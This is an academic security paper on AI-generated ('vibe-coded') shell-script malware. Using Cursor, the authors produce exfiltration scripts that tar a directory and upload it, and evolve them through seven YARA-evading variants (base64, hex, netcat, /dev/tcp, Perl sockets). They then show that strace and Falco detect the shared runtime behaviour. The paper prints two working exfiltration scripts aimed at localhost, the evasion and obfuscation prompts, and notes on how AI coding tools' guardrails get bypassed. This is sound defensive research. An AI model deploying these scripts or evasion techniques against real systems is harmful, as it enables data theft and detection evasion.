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Abstract
Malware is currently detected using predominantly static analysis
techniques such as rule- and signature-based frameworks. Their
effectiveness is largely due to attackers reusing well-known compo-
nents and toolchains to lower skill requirements, reduce develop-
ment effort and time to deployment. As a result, malware exhibits
recognizable structural patterns that static detectors can reliably
identify. The increasing availability of AI-assisted coding tools chal-
lenges this assumption by enabling and emboldening attackers to
generate malicious software from scratch, producing samples with
highly variable code structures but identical malicious intent. In this
work, we demonstrate that AI-generated malware permutations can
evade static analysis, while their runtime behavior remains largely
invariant. We focus our work on malicious shell scripts as a specific
class of malware. Such malicious shell scripts are commonly used
in attacks against Linux based IoT devices such as routers, cameras,
and smart home devices. Our experimental results show that dy-
namic and behavioral analysis techniques are more robust in this
context, highlighting the need to lessen the prevailing dependency
on static analysis and instead shift malware detection strategies for
systems toward behavior-centric approaches.

CCS Concepts
• Security and privacy→Malware and its mitigation.
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1 Introduction
Malware development, much like legitimate software engineering,
is driven by efficiency constraints. Attackers operate under time
pressure and often face limited access to highly skilled developers.
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To accelerate development and reduce complexity, they frequently
rely on reusable components, established frameworks, and publicly
available toolkits. Malware construction ecosystems provide such
resources, including well-known toolsets such as Zeus, SpyEye,
BlackShades, Cobalt Strike and Metasploit [16]. By assembling mal-
ware from pre-existing modules, adversaries can rapidly produce
new variants which share structural similarities.

The prevalence of reusable malware components has influenced
modern defensive strategies. Contemporary detection systems, par-
ticularly antivirus engines and endpoint protection platforms, rely
on static analysis techniques as a first line of defense. These systems
leverage rule-based and signature-based detection mechanisms to
identify known code artifacts and structural patterns. Since mal-
ware families created from shared toolchains exhibit recurring sig-
natures, static detectors can generalize across variants. Detection
rules are continuously updated and distributed within security com-
munities, enabling rapid immunization against newly discovered
samples. This model has formed a cornerstone of Internet-scale
malware defense.

Recent advances in Artificial Intelligence (AI)-assisted coding,
often referred to as Vibe Coding or Agentic Coding, fundamentally
alter this landscape. Instead of assembling malware from toolkits,
attackers are emboldened to employ AI coding assistants to gener-
ate malicious programs from scratch. These systems significantly
lower the barrier to entry, enabling individuals with limited pro-
gramming expertise to produce functional malware [14]. Moreover,
unlike traditional software projects, malicious code does not require
maintainability, readability, or long-term support. It only needs to
function once on a subset of targeted systems. Current AI coding
tools are capable of meeting these requirements [2].

AI-generated malware differs from toolkit-composed malware in
a critical dimension: structural variability. Each generated instance
can be syntactically distinct while implementing the same mali-
cious objective. Common code artifacts associated with established
toolchains are absent, and attackers can explicitly instruct AI sys-
tems to incorporate evasion strategies targeting known detection
mechanisms. As a result, static analysis, the first line of defense in
most contemporary countermeasures, becomes increasingly inef-
fective against such dynamically generated variants.

Despite this syntactic diversity, the operational behavior of mal-
ware remains comparatively stable. Regardless of implementation
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details, malicious programs ultimately pursue specific objectives
such as data exfiltration, persistence establishment, or lateral move-
ment [12]. These goals manifest through observable runtime behav-
ior that is largely invariant across syntactic variants. Consequently,
we posit that effective future defenses must place greater emphasis
on behavioral and dynamic analysis.

In this work, we investigate this shift by focusing on malicious
shell scripts as a representative malware class. Such malicious shell
scripts are commonly used in attacks against Linux based inter-
net of things (IoT) devices such as routers, cameras, and smart
home devices. We demonstrate that state-of-the-art AI coding tools
can efficiently generate multiple structurally distinct variants of
functionally identical malware capable of bypassing static detec-
tion mechanisms. Through controlled experimentation, we show
that while static rules-based analysis with the widely-used YARA
tool [10] fails to generalize across AI-generated variants, behav-
ioral monitoring techniques remain robust. Our findings highlight
the urgent need to reorient malware detection strategies toward
behavior-centric approaches in response to the growing capabilities
of AI-assisted code generation. While existing malware detection
already combines static and runtime analysis increased focus on
the later element is necessary. Specifically, lightweight behavior-
centric approaches are necessary for resource constrained IoT en-
vironments.

The specific contributions of our work are:

• Automated generation and detection of malicious shell scripts:
Using the Cursor AI coding tool, we automate the iterative
generation of malicious shell script variants. In each round,
a new script is created alongside corresponding YARA rules
for static detection. Each subsequent variant is explicitly
designed to evade previously generated detection rules, re-
sulting in a family of functionally equivalent but structurally
diverse malware samples.

• Dynamic analysis of generated shell scripts: We evaluate the
runtime behavior of the malware family using the Linux tool
strace and the Falco security tool. Our results demonstrate
that while static signatures quickly become obsolete in the
presence of AI-driven code variation, behavioral indicators
remain consistent across variants, supporting the case for
dynamic analysis as a more resilient defense strategy.

To avoid attackers benefiting from this work, we take steps
to ensure that the malware scripts we generate cannot be used
by bad actors directly. We do not provide information on shell
script delivery, and the shell scripts we generate contain features
that would not work in the wild without significant modification.
All scripts, programs and experimental data are made available in
supplementary material [17].

In the next section of this paper we describe related work. Sec-
tion 3 describes our experiment on generating a family of malicious
shell scripts using Cursor. We show that static analysis using YARA
is failing. Section 4 describes how strace and Falco can be used to
analyze the behavior of the malware family. Section 5 concludes
the paper by providing a discussion on how defense mechanisms
should be built to deal with the emerging field of AI coding tools.

2 Related Work
Since the advent of LLMs there has been concern that they could
assist and turbocharge bad actors in cyberspace. Pa Pa et al. showed
that ChatGPT would generate malware tools if jailbreak techniques
were used [15]. Detection rates varied but one EDR product failed
to detect any of the generated tools. Gupta et al., investigating
the potential of ChatGPT for both attack and defense, tried to ma-
nipulate it into producing code to implement several well-known
attacks such as WannaCry, NotPetya, RYUK and REvil [9]. They
demonstrated that ChatGPT usually resisted straightforward re-
quests for sample code. However, jailbreaking techniques could be
used to produce attack frameworks and snippets of code, such as
WannaCry-style encryption. Charfeddine et al. evaluated the harm-
ful cybersecurity potential of ChatGPT, investigating its ability to
facilitate or automate cyberattacks like phishing and social engi-
neering [6]. They identified AI tools that could be used to undertake
the early steps of a ransomware attack, including access, lateral
movement, establishing persistence, and reconnaissance. Their AI
risk assessment identified a ‘very high’ risk that AI tools could be
used for malware production and pre-ransomware deployment.

Given this risk, some researchers advocate that defenders should
fine-tune LLMs with security-oriented code, generate attacks with
them, and use the generated attacks to improve their defense skills
[14]. Acosta-Bermejo et al. similarly argued that a grasp of state-of-
the-art malware generation is essential for ‘red teams’ who defend
against cyberattack [2]. Therefore, red teams should explore mal-
ware generation via LLM. The researchers tried two strategies to
generate malware. The first one generated malware via an Alibaba
Qwen coder model, avoiding censorship by removing security jar-
gon and by breaking up malware production into smaller tasks.
Qwen implemented most malware behaviors requested, although
some code was fragile and required user modification. The second
strategy involved fine-tuning a model to remove censorship. The
LLM was explicitly taught to do whatever its prompt requested,
ignoring safety guardrails. The researchers could then explicitly
ask the model to generate malware and describe the required be-
haviors. The malware produced by both strategies was assessed for
functionality using a Cuckoo sandbox. YARA rules and VirusTotal
(VT) were used to assess whether the malware escaped detection.
Malware produced as small tasks was not detected by VT. Malware
produced by the uncensored LLM was consistently detected.

3 Malicious Shell Script Generation
Our objective is to investigate whether an attacker with limited
programming expertise can leverage a state-of-the-art AI coding
tool to generate a functional malicious shell script. In addition, we
examine whether such an attacker can iteratively incorporate eva-
sion strategies so that the generated malware successfully bypasses
static detection mechanisms.

We selected Cursor [5] as the AI-assisted development envi-
ronment for our experiments, as it represents a leading example
of contemporary agentic coding tools. In preliminary testing, we
had observed that Cursor did not restrict or refuse the malware-
related prompts used in our study, whereas several alternative AI
coding systems enforced guardrails that restricted assistance with
explicitly malicious development tasks. This characteristic made



Detecting Vibe-Coded Malware CF Companion ’26 , May 19–21, 2026, Catania, Italy

Cursor a suitable platform for our evaluation of the practical feasi-
bility of AI-assisted malware generation under realistic adversarial
conditions.

3.1 Malware Purpose
For our experimental setup, we selected a straightforward yet rep-
resentative data exfiltration scenario as the malicious objective of
the generated shell script. The script performs the following steps:
(i) locate a directory at /opt/secret; (ii) create a compressed tar
archive of its contents; and (iii) transmit the resulting archive to a
web server at 127.0.0.1 using an HTTP PUT request.

This workflow models a common adversarial technique: auto-
mated collection and remote exfiltration of sensitive system data.
In operational attacks, directories such as /etc/, home directo-
ries, application configuration paths, or cloud credential locations
are frequently targeted for extraction. To prevent unintended dis-
closure of real system information during experimentation, we
substitute the sensitive directory with a non-standard path and use
a local loopback address instead of a routable external endpoint. Al-
though the specific implementation in our experiment is synthetic,
the underlying behavior (archiving files and transferring them via
command-line tools such as curl, wget, or raw socket connections)
closely mirrors documented real-world attack techniques [4].

3.2 Malware Creation
To generate the malicious script, we used Cursor in Agent Mode (an
advanced AI feature within the Cursor code editor that acts as an
autonomous coding assistant; we used this feature with automatic
model selection where the specific model is chosen by Cursor for
the given task) and provided a prompt intended to emulate the
behavior of an attacker with limited programming expertise. The
goal was to assess whether a minimally specified instruction is
sufficient for the AI system to produce a functional data exfiltration
script without manual code refinement. The exact prompt used in
our experiment is shown below:
Write a bash shell script that does the following: 1) it looks for
a folder called /opt/secret 2) it creates a compressed tar ball

of that folder 3) it transmits this compressed file to a webserver
at address 127.0.0.1 using HTTP PUT.

The resulting program, named transfer_secret.sh, is included
in the Appendix.

The generated script is neither obfuscated nor operationally
stealthy: the filename is descriptive, variable names are human-
readable, and explanatory comments are included. In a real-world
attack scenario, such artifacts would be removed to reduce de-
tectability. For example, the following additional prompt1 achieves
this task:
Obfuscate all comments and variable names so that it is not clear
to the reader what the script does. Obfuscate in a way that
comments and variable names are human readable but do not relate
to the function of the script.

However, we intentionally preserve these characteristics to im-
prove the transparency and reproducibility of the experiment and to

1Note that this prompt is executable by Cursor; if the same prompt is used in ChatGPT
the answer is “Sorry — I can’t help obfuscate a script to make its purpose unclear.
Renaming variables and “scrambling” comments to hide what it does is a common
way to conceal data transfer / exfiltration behavior, and I can’t assist with that."

reduce the produced scripts’ usability by an attacker in a real-world
context.

To complete the exfiltration workflow, a receiving endpoint is
required. We therefore instructed Cursor to generate a minimal
HTTP server that accepts uploaded files. This server simulates the
attacker-controlled infrastructure typically used to collect stolen
data. The prompt used to generate the receiver component is pro-
vided below:
Write a minimalistic python webserver with the name dropbox.py
that can be used as receiver for the tarball. The server should
use port 8888. transfer_secret.sh should be modified to use port
8888

The resulting dropbox.py server accepts HTTP PUT requests
on port 8888 and stores the transmitted archive locally. Together,
the generated shell script and the receiver implementation form
a self-contained proof-of-concept exfiltration setup suitable for
controlled experimentation.

3.3 Malware Detection
Next, we assume that the defender employs a static analysis mech-
anism to protect the target system against malicious code. In con-
temporary security practice, such mechanisms frequently rely on
signature- and rule-based detection frameworks. A widely adopted
approach is the use of the Yet Another Recursive Acronym (YARA)
[21] pattern-matching language, which enables analysts to specify
structural and textual indicators of compromise in a declarative
rule format.

For experimental control and reproducibility, we implement a
simplified YARA-based detection pipeline. Rather than relying on
a full antivirus suite, we instruct Cursor to generate a minimal
Python-based detection utility that interfaces with the official yara-
python bindings [20]. The prompt used to generate this detector is
shown below:
Create a python program named detector.py. this program should use
the official Python bindings: yara -python. The program should use
as first input a file containing yara rules and as second input a
shell script that should be analysed using these rules

After generating detector.py, we create an initial YARA rule
set intended to detect the previously generated malicious script. Be-
cause the script performs data exfiltration using curl and references
the directory /opt/secret/, these characteristics are encoded as
static detection signatures. The prompt used to generate the rule
file is provided below:
Create a yara rule file to be used by the detector called exfil.
yara. include a yara rule that is able to detect if a string
containing '/opt/secret/' is used and curl is used for file upload

With the resulting rules defined in exfil.yara, the malicious
script transfer_secret.sh is successfully flagged by detector.py.
In a real-world deployment, such detection would typically trigger
blocking, quarantine, or alerting mechanisms, thereby preventing
execution of the malicious artifact. We show in the Appendix one
rule contained in exfil.yara, the full set is documented in supple-
mentary material [17].

In operational environments, static detection is usually inte-
grated into comprehensive security products (e.g., commercial an-
tivirus or endpoint protection platforms) that internally leverage
YARA-style rule matching. Moreover, detection rules are often
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shared within security communities [1], meaning that attackers
can reasonably assume partial visibility into deployed signatures.
For the purposes of this study, however, we intentionally employ a
purpose-built and transparent detection setup to maintain experi-
mental control and isolate the interaction between AI-generated
malware variants and static rule-based defenses.

3.4 Detection Evasion
We next consider a scenario in which the attacker has knowledge
of the defensive setup deployed by the victim. In practice, this
assumption is realistic: signature-based detection rules are often
shared across security communities and distributed to detection
engines, allowing adversaries to obtain or infer the rule sets used
to identify known malware variants. Consequently, once a specific
YARA rule has been created to detect transfer_secret.sh, the
attacker can assume that the current version of the malware is no
longer operationally viable.

To model this adaptive adversarial behavior, we instruct the AI
coding tool to generate a modified version of the malicious script
that preserves its functional objective while evading the existing
detection rule. The prompt used for this step is shown below:

Write a second shell script called transfer_secret_v2.sh which has
the same functionality as transfer_secret.sh but the execution of
'python detector.py exfil.yara transfer_secret_v2.sh' does not

find matches

The newly generated script, transfer_secret_v2.sh, success-
fully bypasses the existing static detection rule. Notably, this eva-
sion does not require in-depth knowledge of obfuscation techniques
or manual code transformation. Instead, a single natural-language
prompt suffices to produce a structurally modified variant that
avoids signature-based detection while retaining identical mali-
cious behavior.

To emulate the defensive response, we then update the YARA
rule set to account for the modified implementation. This is again
performed through a prompt-driven interaction:

Change now the file exfil.yara to also detect transfer_secret_v2.
sh

Following this update, both transfer_secret.sh and trans-
fer_secret_v2.sh are detected successfully, restoring protection
under the current rule set.

Finally, we extend this interaction into an iterative attack–defense
cycle. In each round, a newmalware variant is generated that evades
the existing detector, followed by an update of the YARA rules to
capture the new signature. The iterative process is initiated with
the following prompt:

Now run an iterative process for 5 rounds. in each round create a
new version of transfer_secret (v3, v4, v5, v6, v7) that passes
the detector. then modify the detector to detect the new variant
by updating exfil.yara

The outcome of this procedure is a family of malicious shell
scripts that share an identical functional objective but differ sub-
stantially in their static structure. The entire workflow is driven
solely by natural-language prompts and does not require specialized
programming expertise on the attacker’s side. We show the final

Table 1: Script Versions and Evasion Methods

Script Evasion Methods
original -
v2 wget instead of curl
v3 base64 encoding + netcat
v4 octal escapes + Python http.client
v5 reversed strings + /dev/tcp
v6 char-by-char building + socat
v7 hex encoding + Perl sockets

modified script transfer_secret_v7.sh in the Appendix; due to
space restrictions we cannot depict all variants in this paper2.

3.5 Discussion
The specific evasion strategies and structural adaptations intro-
duced across the variants are summarized in Table 1. Cursor applies
a mixture of string obfuscation techniques and variations of helper
programs for data transmission. These are all common techniques
used to conceal the true purpose of malicious scripts. However, it is
difficult for a low skilled attacker to apply these techniques without
relying on well known examples or a toolset [3]. The LLM tech-
niques we describe here remove this barrier, making the generation
of different malware variants accessible to inexpert attackers.

The automated YARA detection rules are able to detect the re-
spective malware for which they were designed. However, we noted
that these shell scripts are very narrow in function and a human
would probably try to make the rules more generic in order to catch
more variations of the same script. Also, there are generator tools
for assisting in the creation of YARA rules such as yarGen, yabin,
yaragenerator [8, 13] or VTDIFF [19] which make use of broad
knowledge of malware and benign patterns that might not be in
use by the generating agents in this work.

4 Malicious Shell Script Detection using
Runtime Behavior Analysis

We employ multiple tools to analyze the behavior of the malware
script family developed in the previous section. First, we use the
standard Linux utility strace to capture system-call–level activity
and obtain a detailed behavioral trace of the scripts during execu-
tion. We then utilize Falco [7], a purpose built runtime security tool
to assess how such security platforms observe and characterize the
scripts’ behavior.

4.1 Runtime Analysis Aims
Our central hypothesis is that runtime (dynamic) analysis should
yield consistent behavioral observations when evaluating malware
samples that pursue the same objective, even if static analysis re-
veals substantial syntactic or structural differences between vari-
ants generated by AI coding tools. In other words, while the code
representation may vary significantly, the underlying operational
behavior required to achieve the malicious goal should remain
largely invariant.

The designed malware aims to (i) locate a directory at /opt/se-
cret; (ii) create a compressed tar archive of its contents; and (iii)
2All variants are available via supplementary material [17].



Detecting Vibe-Coded Malware CF Companion ’26 , May 19–21, 2026, Catania, Italy

transmit the resulting archive to a web server. Consequently, we ex-
pect that, independent of implementation details, dynamic analysis
will reveal: (i) access to /opt/secret; (ii) invocation of the tar3;
and (iii) the establishment of a TCP connection for data exfiltration.

4.2 Strace Analysis
As an initial dynamic analysis approach, we employ the Linux
tracing utility strace and execute the malicious shell scripts using:
strace -ff -tt -T -s 256 -e trace=file ,network ,process -o trace.
log bash transfer_secret.sh

The selected strace categories focus on the behavioral aspects
relevant to our experiment:

• file – traces system calls related to file operations such
as open, openat, read, write, stat, and file descriptor han-
dling. This allows us to capture access to /opt/secret.

• network – traces system calls related to networking such
as socket, connect, bind, listen, accept, send, and recv.
This enables the detection of TCP connections established
for data exfiltration.

• process – traces system calls related to processmanagement
such as fork, vfork, clone, execve, exit, and wait. This
captures the execution of external programs such as tar.

After execution, we post-process the trace output using:
grep -E "openat|execve|connect|sendto" trace.log.* > trace

From the resulting trace file, we extract the events corresponding
to the three expected behavioral steps of the script. For the initial
shell script variant, the following events are observed:
[1] trace.log .364014:20:56:04.730398 execve ("/usr/bin/tar", ["tar
", "-czf", "/tmp/secret_20260220_205604.tar.gz", "-C", "./opt", "
secret"], 0x55562c6ea5d0 /* 23 vars */) = 0 <0.000193 >
[2] trace.log .364014:20:56:04.734148 openat(3, "secret", O_RDONLY|
O_NOCTTY|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC) = 5 <0.000009 >
[3] trace.log .364018:20:56:04.760283 connect(6, {sa_family=AF_INET
, sin_port=htons (8888) , sin_addr=inet_addr ("127.0.0.1")}, 16) = -1
EINPROGRESS (Operation now in progress) <0.000108 >

The first event shows the invocation of the tar binary and reveals
the parameters used to create the archive, including the directory
being processed. The second event results from tar accessing the
target directory and demonstrates the actual file-system interaction
with the secret folder. The third event shows the establishment of
a TCP connection to the designated exfiltration server (localhost
on port 8888), thereby confirming the network transmission step.

These three behavioral events are consistently observable across
all generated variants of the malicious script4. Although the static
representations of the scripts differ significantly, their runtime
behavior exhibits a stable and identifiable pattern. This observation
supports our hypothesis that dynamic analysis exposes invariant
behavioral profiles even when the underlying code structure varies.

Furthermore, the dynamically accessed directories are explicitly
visible in the trace output, whereas static analysis may conceal
them due to string obfuscation or runtime string construction. Sim-
ilarly, where different script variants rely on different utilities to

3We acknowledge that an attacker could avoid relying on the system-provided tar
binary by embedding an alternative implementation or using a different available
utility; however, such options are typically constrained in minimal environments.
4All resulting log files are available via supplementary material [17]

perform network transmission, static inspection reveals heteroge-
neous code structures. In contrast, dynamic analysis consistently
captures the fundamental behavior such as the establishment of a
TCP connection for data exfiltration.

These findings suggest that detection mechanisms can be con-
structed around sequences of runtime behaviors rather than static
code signatures. Falco represents such a runtime detection approach
and is discussed in the subsequent section.

4.3 Falco Analysis
Falco [7] is an open-source runtime security tool designed to moni-
tor and detect suspicious behavior on Linux systems. It operates
by observing system calls and related runtime signals to identify
anomalous activities across hosts, containers, and Kubernetes en-
vironments. Falco employs a rule-based detection engine that al-
lows users to specify behavioral conditions, such as unauthorized
file access, privilege escalation attempts, or unexpected outbound
network connections. Alerts can be emitted in various formats
(e.g., JSON logs or integrations with external monitoring systems),
enabling automated incident response. By focusing on runtime
behavior rather than static signatures, Falco facilitates the detec-
tion of threats that are previously unseen but nonetheless exhibit
recognizable malicious activity patterns.

For our experiment, we define a Falco rule set consisting of
two separate rules: one detecting connections to 127.0.0.1:8888,
and another detecting read access to files within the directory
/opt/secret. Each rule generates a warning when the respective
event occurs.

Amore refined detection strategy would generate a warning only
when a program first reads from /opt/secret and subsequently
establishes an outbound TCP connection. However, Falco’s rule
engine is stateless and evaluates each event independently; it does
not natively support temporal sequencing or correlation across
multiple events within a single rule. Consequently, event correlation
must be performed externally if behavioral ordering is required.

We then execute the malware scripts and analyze the resulting
detector output. For the initial shell script variant, the following
events are observed:

[1] Feb 21 21:55:57 dangercape falco [9981]: 21:55:57.761770090:
Warning Sensitive file opened for reading by non -trusted program |
file=/opt/secret/secfile1.txt gparent=bash ggparent=gnome -

terminal - gggparent=systemd evt_type=openat user=danger user_uid
=1000 user_loginuid =1000 process=tar proc_exepath =/usr/bin/tar
parent=bash command=tar -czf /tmp/secret_20260221_215557.tar.gz -C
./opt secret terminal =34818 container_id=host container_name=host
container_image_repository= container_image_tag= k8s_pod_name=<NA

> k8s_ns_name=<NA>
[2] Feb 21 21:55:57 dangercape falco [9981]: 21:55:57.775097397:
Warning Suspicious network connection to 127.0.0.1 on port 8888
from curl (pid 10148) container_id=host container_name=host
container_image_repository= container_image_tag= k8s_pod_name=<NA>
k8s_ns_name=<NA>

These events correspond to the expected behavioral stages of the
script. The first event documents read access to the secret directory
by the tar process, while the second event records the establish-
ment of a TCP connection by curl to 127.0.0.1:8888, confirming
the exfiltration step.

The same behavioral pattern is observed across all generated
variants of the malicious script. While different variants rely on
different utilities for data transmission, Falco’s output consistently
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identifies the responsible process for each network connection.
Across our experiments, exfiltration was performed using curl,
wget, nc, python3, bash, socat, and perl.

Overall, Falco produces results consistent with the earlier strace
analysis, demonstrating that the behavioral profile of the malware
script family remains stable despite syntactic differences between
variants. In addition, Falco reduces the need for manual log inspec-
tion, provides a dedicated rule language for behavioral detection,
and enables automated response mechanisms to observe events.

4.4 Discussion
The runtime analysis of the malware family using both strace
and Falco demonstrates that the behavioral profile of the samples
remains stable. Although the individual script variants differ syn-
tactically, they ultimately pursue the same objective and therefore
exhibit identical operational steps during execution. This confirms
that dynamic analysis exposes invariant behavioral characteristics
independent of implementation details.

Obfuscation techniques intended to hinder static analysis (such
as encoding or dynamically constructing strings at runtime, or
employing different utilities to achieve the same functionality) do
not conceal the underlying actions when observed dynamically.
At runtime, file access, process execution, and outbound network
connections are explicitly visible in the event stream, revealing the
malicious behavior regardless of superficial code variations.

5 Conclusion
This work investigated the implications of AI-assisted coding tools
for malware development and detection. By using Cursor to itera-
tively generate a family of malicious shell scripts, we demonstrated
that an attacker with limited programming expertise can produce
multiple structurally distinct variants of functionally identical mal-
ware. As shown in Section 3, each variant evaded the previously
constructed YARA-based static detection rule through relatively
simple transformations, including string encoding, alternative trans-
mission utilities, and dynamic string construction. The resulting
malware family exhibited very high syntactical diversity, making it
difficult to detect using traditional static analysis techniques.

However, the dynamic analysis presented in Section 4 reveals
that while the syntactic structure of the scripts changed substan-
tially, their runtime behavior remained invariant. Across all vari-
ants, we observed the same fundamental operational sequence:
file-system access to /opt/secret, invocation of archiving func-
tionality, and establishment of an outbound TCP connection for
data exfiltration. Both strace and Falco exposed these invariant
behavioral steps, despite obfuscation techniques and variations in
helper programs. This confirms our central hypothesis that dy-
namic analysis exposes stable behavioral profiles even when static
representations differ significantly.

These findings have specific implications for the future of mal-
ware detection on IoT devices. As AI coding tools lower the barrier
to malware development, the volume and variability of malicious
samples are likely to increase substantially. When code can be re-
generated on demand with minor syntactic modifications, relying
on static detection, as resource-constrained IoT devices do, is in-
creasingly risky. Static rules must continuously adapt, creating an

asymmetry in which defenders must invest considerable effort to
create new rules, while attackers can cheaply regenerate new vari-
ants. In contrast, behavior-centric detection strategies target the
operational goals of malware rather than its specific implementa-
tion details, thereby reducing sensitivity to syntactic diversity.

At the same time, our study highlights that behavioral analysis
of individual events alone is not a complete solution. Tools such as
Falco, while effective in identifying suspicious runtime events, re-
main largely stateless and require external correlation mechanisms
to capture complex behavioral sequences. Behavioral correlation
engines such as Falco Vanguard [18] and Dynatrace [11] that corre-
late events and recognize contextual cues can be used for detailed
attack categorization. In our Falco log analysis we were able to
identify the malicious behavior of the generated code manually
as the events were correlated closely in time. In future work we
will investigate incorporating these contextual analysis tools into
our malware detection approaches for cases where malware is at-
tempting detection evasion by re-ordering events, spreading across
processes or artificially introducing delays between attack steps.

Finally, our results underscore a broader systemic concern: AI
coding systems can accelerate the generation of malware. Thus,
the implementation of robust guardrails in AI tools is necessary
and may limit their use for malicious purposes. However, attackers
can find ways to circumvent guardrails, such as requesting code in
fragments or training models to remove censorship [2].
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6 Appendix

Listing 1: Initialmalicious shell script transfer_secret.sh used
for data exfiltration in the experimental setup.
#!/bin/bash

# Script to compress and transfer ./opt/secret folder

SOURCE_DIR ="./ opt/secret"
TARBALL ="/tmp/secret_$(date +%Y%m%d_%H%M%S).tar.gz"
SERVER_URL ="http ://127.0.0.1:8888"

# Check if the source directory exists
if [ ! -d "$SOURCE_DIR" ]; then

echo "Error: Directory $SOURCE_DIR does not exist"
exit 1

fi

# Create compressed tarball
echo "Creating compressed tarball of $SOURCE_DIR ..."
tar -czf "$TARBALL" -C ./opt secret

if [ $? -ne 0 ]; then
echo "Error: Failed to create tarball"
exit 1

fi

echo "Tarball created: $TARBALL"

# Transfer the tarball to the webserver using HTTP PUT
echo "Transferring $TARBALL to $SERVER_URL ..."
curl -X PUT -T "$TARBALL" "$SERVER_URL/$(basename "$TARBALL ")"

if [ $? -ne 0 ]; then
echo "Error: Failed to transfer file"
rm -f "$TARBALL"
exit 1

fi

echo "Transfer complete"

# Clean up the temporary tarball
rm -f "$TARBALL"
echo "Cleaned up temporary file"

exit 0

Listing 2: One rule of exfil.yara, used to detect data exfiltra-
tion using curl.
rule DataExfiltration
{

meta:
description = "Detects potential data exfiltration using
curl/wget to upload sensitive directories"
author = "Security Analyst"
severity = "high"
category = "exfiltration"

strings:
$secret_path = "./opt/secret" nocase
$secret_path_split1 = "./opt" nocase
$secret_path_split2 = "secret" nocase

$curl_put = "curl -X PUT" nocase
$curl_upload_T = "curl" nocase
$upload_flag = "-T " nocase
$wget_put = "--method=PUT" nocase
$wget_body = "--body -file" nocase

condition:
($secret_path or ($secret_path_split1 and
$secret_path_split2)) and
($curl_put or ($curl_upload_T and $upload_flag) or (
$wget_put and $wget_body))

}

Listing 3: Final malicious shell script transfer_secret_v7.sh
used for data exfiltration in the experimental setup.
#!/bin/bash

# Data transfer script

# Hex encoded paths (using xxd)
H1="2 e2f6f7074"
H2 ="736563726574"
BASE=$(echo "$H1" | xxd -r -p)
DIR=$(echo "$H2" | xxd -r -p)
SOURCE_DIR ="$BASE/$DIR"
TARBALL ="/tmp/data_$(date +%Y%m%d_%H%M%S).tar.gz"
HOST ="127.0.0.1"
PORT ="8888"

# Check if the source directory exists
if [ ! -d "$SOURCE_DIR" ]; then

echo "Error: Directory $SOURCE_DIR does not exist"
exit 1

fi

# Create compressed tarball (using long options)
echo "Creating compressed tarball ..."
tar --create --gzip --file=" $TARBALL" --directory ="$BASE" "$DIR"

if [ $? -ne 0 ]; then
echo "Error: Failed to create tarball"
exit 1

fi

FILENAME=$(basename "$TARBALL ")
# Transfer using perl
echo "Transferring ..."
perl -e '
use IO:: Socket ::INET;
my $host = $ARGV [0];
my $port = $ARGV [1];
my $file = $ARGV [2];
my $name = $ARGV [3];
open(my $fh , "<", $file) or die;
my $data = do { local $/; <$fh > };
close($fh);
my $len = length($data);
my $sock = IO:: Socket ::INET ->new(PeerAddr => $host , PeerPort =>
$port , Proto => "tcp") or die;
my $m = chr (80).chr (85).chr (84);
print $sock "$m /$name HTTP /1.1\r\nHost: $host:$port\r\nContent -
Length: $len\r\nConnection: close\r\n\r\n$data ";
close($sock);
' "$HOST" "$PORT" "$TARBALL" "$FILENAME"

if [ $? -ne 0 ]; then
echo "Error: Failed to transfer file"
rm "$TARBALL" 2>/dev/null
exit 1
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fi

echo "Transfer complete"

# Clean up

rm "$TARBALL" 2>/dev/null
echo "Cleaned up temporary file"

exit 0
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